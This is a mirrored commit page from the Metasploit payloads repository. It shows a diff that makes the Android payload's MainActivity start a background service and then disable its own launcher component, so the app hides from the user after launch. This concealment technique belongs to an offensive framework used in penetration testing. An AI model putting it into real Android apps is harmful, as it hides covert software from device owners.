mirror of
https://github.com/rapid7/metasploit-payloads
synced 2024-12-15 02:35:54 +01:00
Land #104, Android payload: hide MainActivity from the app switcher after launch
This commit is contained in:
commit
44b3df5ea7
@ -1,14 +1,27 @@
|
||||
package com.metasploit.stage;
|
||||
|
||||
import android.app.Activity;
|
||||
import android.content.ComponentName;
|
||||
import android.content.Intent;
|
||||
import android.content.pm.PackageManager;
|
||||
import android.os.Bundle;
|
||||
|
||||
public class MainActivity extends Activity {
|
||||
|
||||
@Override
|
||||
protected void onCreate(Bundle savedInstanceState) {
|
||||
super.onCreate(savedInstanceState);
|
||||
startService(new Intent(this, MainService.class));
|
||||
disableActivity();
|
||||
finish();
|
||||
}
|
||||
|
||||
private void disableActivity() {
|
||||
PackageManager packageManager = getPackageManager();
|
||||
ComponentName componentName = new ComponentName(getApplicationContext(),
|
||||
MainActivity.class);
|
||||
packageManager.setComponentEnabledSetting(componentName,
|
||||
PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
|
||||
PackageManager.DONT_KILL_APP);
|
||||
}
|
||||
}
|
||||
|
Loading…
Reference in New Issue
Block a user